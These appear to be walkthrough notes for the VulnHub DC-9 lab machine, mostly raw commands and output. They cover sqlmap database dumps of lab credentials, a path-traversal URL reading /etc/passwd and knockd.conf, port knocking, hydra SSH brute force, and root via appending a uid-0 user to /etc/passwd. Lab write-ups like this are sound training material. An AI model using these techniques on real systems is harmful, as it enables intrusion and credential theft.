SQLMAP

LFI

PORT KNOCKING

SSH BRUTE-FORCE

```
PORT   STATE    SERVICE VERSION
22/tcp filtered ssh
80/tcp open     http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Example.com - Staff Details - Welcome
MAC Address: 00:0C:29:49:6F:7A (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
```

```
root@akg:/home/akg/Desktop/vulnhub/dc-9# gobuster dir -u http://dc-9/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt
/index.php (Status: 200)
/search.php (Status: 200)
/welcome.php (Status: 302)
/results.php (Status: 200)
/display.php (Status: 200)
/css (Status: 301)
/includes (Status: 301)
/logout.php (Status: 302)
/config.php (Status: 200)
/manage.php (Status: 200)
/session.php (Status: 302)
/server-status (Status: 403)
```

http://dc-9/search.php

```
POST /results.php HTTP/1.1
Host: dc-9
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://dc-9/search.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
Connection: close
Cookie: PHPSESSID=g09qia5malfhtu5vu4j1tl3qq9
Upgrade-Insecure-Requests: 1
search=test
```

```
root@akg:/home/akg/Desktop/vulnhub/dc-9# sqlmap -r search.req --dbs --batch

available databases [3]:

[*] information_schema

[*] Staff

[*] users
```

```
root@kali:/home/kali/Desktop/vulnhub/dc-9# sqlmap -r search.req -D Staff --dump-all –batch

UserID | Username | Password                         |

+--------+----------+----------------------------------+

| 1      | admin    | 856f5de590ef37314e7c3bdf6f8a66dc
```

md5	transorbital1

http://dc-9/manage.php   admin- transorbital1

http://dc-9/welcome.php?file=../../../../../etc/passwd (LFI EXISTS)

http://dc-9/welcome.php?file=../../../../../etc/knockd.conf

```
root@kali:/home/kali/Desktop/vulnhub/dc-9# sqlmap -r search.req -D users --dump-all –batch
```

```
------+------------+---------------------+-----------+-----------+---------------+
| id   | lastname   | reg_date            | username  | firstname | password      |
+------+------------+---------------------+-----------+-----------+---------------+
| 4    | Rubble     | 2019-12-29 16:58:26 | barneyr   | Barney    | RocksOff      |
| 12   | Geller     | 2019-12-29 16:58:26 | rossg     | Ross      | ILoveRachel   |
| 3    | Flintstone | 2019-12-29 16:58:26 | fredf     | Fred      | 4sfd87sfd1    |
| 11   | Green      | 2019-12-29 16:58:26 | rachelg   | Rachel    | yN72#dsd      |
| 2    | Dooley     | 2019-12-29 16:58:26 | julied    | Julie     | 468sfdfsd2    |
| 10   | Tribbiani  | 2019-12-29 16:58:26 | joeyt     | Joey      | Passw0rd      |
| 1    | Moe        | 2019-12-29 16:58:26 | marym     | Mary      | 3kfs86sfd     |
| 9    | Bing       | 2019-12-29 16:58:26 | chandlerb | Chandler  | UrAG0D!       |
| 17   | Morrison   | 2019-12-29 16:58:28 | janitor2  | Scott     | Hawaii-Five-0 |
| 8    | Rubble     | 2019-12-29 16:58:26 | bettyr    | Betty     | BamBam01      |
| 16   | Trump      | 2019-12-29 16:58:26 | janitor   | Donald    | Ilovepeepee   |
| 7    | Flintstone | 2019-12-29 16:58:26 | wilmaf    | Wilma     | Pebbles       |
| 15   | McScoots   | 2019-12-29 16:58:26 | scoots    | Scooter   | YR3BVxxxw87   |
| 6    | Mouse      | 2019-12-29 16:58:26 | jerrym    | Jerry     | B8m#48sd      |
| 14   | Buffay     | 2019-12-29 16:58:26 | phoebeb   | Phoebe    | smellycats    |
| 5    | Cat        | 2019-12-29 16:58:26 | tomc      | Tom       | TC&TheBoyz    |
| 13   | Geller     | 2019-12-29 16:58:26 | monicag   | Monica    | 3248dsds7s    |
root@kali:/home/kali/Desktop/vulnhub/dc-9# knock 10.10.10.23 7469 8475 9842
root@kali:/home/kali/Desktop/vulnhub/dc-9# nmap -p 22 10.10.10.23
root@kali:/home/kali/Desktop/vulnhub/dc-9# hydra -L user.txt -P pass.txt 10.10.10.23 ssh
[22][ssh] host: 10.10.10.23   login: joeyt   password: Passw0rd
[22][ssh] host: 10.10.10.23   login: chandlerb   password: UrAG0D!
[22][ssh] host: 10.10.10.23   login: janitor   password: Ilovepeepee
janitor@dc-9:~$ ls -la
total 16
drwx------  4 janitor janitor 4096 Jun 13 01:09 .
drwxr-xr-x 19 root    root    4096 Dec 29 20:02 ..
lrwxrwxrwx  1 janitor janitor    9 Dec 29 21:48 .bash_history -> /dev/null
```

```
drwx------  3 janitor janitor 4096 Jun 13 01:09 .gnupg
drwx------  2 janitor janitor 4096 Dec 29 17:10 .secrets-for-putin
janitor@dc-9:~$ cd .secrets-for-putin/
janitor@dc-9:~/.secrets-for-putin$ ls -la
total 12
drwx------ 2 janitor janitor 4096 Dec 29 17:10 .
drwx------ 4 janitor janitor 4096 Jun 13 01:09 ..
-rwx------ 1 janitor janitor   66 Dec 29 17:10 passwords-found-on-post-it-notes.txt
janitor@dc-9:~/.secrets-for-putin$ cat passwords-found-on-post-it-notes.txt
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts
root@kali:/home/kali/Desktop/vulnhub/dc-9# hydra -L user.txt -P pass2.txt 10.10.10.23 ssh
[22][ssh] host: 10.10.10.23   login: fredf   password: B4-Tru3-001
[22][ssh] host: 10.10.10.23   login: joeyt   password: Passw0rd
fredf@dc-9:/home$ sudo -l
Matching Defaults entries for fredf on dc-9:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User fredf may run the following commands on dc-9:
    (root) NOPASSWD: /opt/devstuff/dist/test/test
fredf@dc-9:/opt/devstuff$ cat test.py
#!/usr/bin/python

import sys

if len (sys.argv) != 3 :
    print ("Usage: python test.py read append")
    sys.exit (1)


else :
    f = open(sys.argv[1], "r")
    output = (f.read())


    f = open(sys.argv[2], "a")
    f.write(output)
    f.close()
root@kali:/home/kali/Desktop/vulnhub/dc-9# openssl passwd -1 -salt akg 123456
$1$akg$WqYPUw.Aa9Yk8pHT9WrX30
fredf@dc-9:/tmp$ echo 'akg:$1$akg$WqYPUw.Aa9Yk8pHT9WrX30:0:0::/root:/bin/bash' >> /tmp/akg
fredf@dc-9:/opt/devstuff/dist/test$ sudo ./test /tmp/akg /etc/passwd
fredf@dc-9:/opt/devstuff/dist/test$ su akg
Password:
root@dc-9:/opt/devstuff/dist/test# whoami
root
```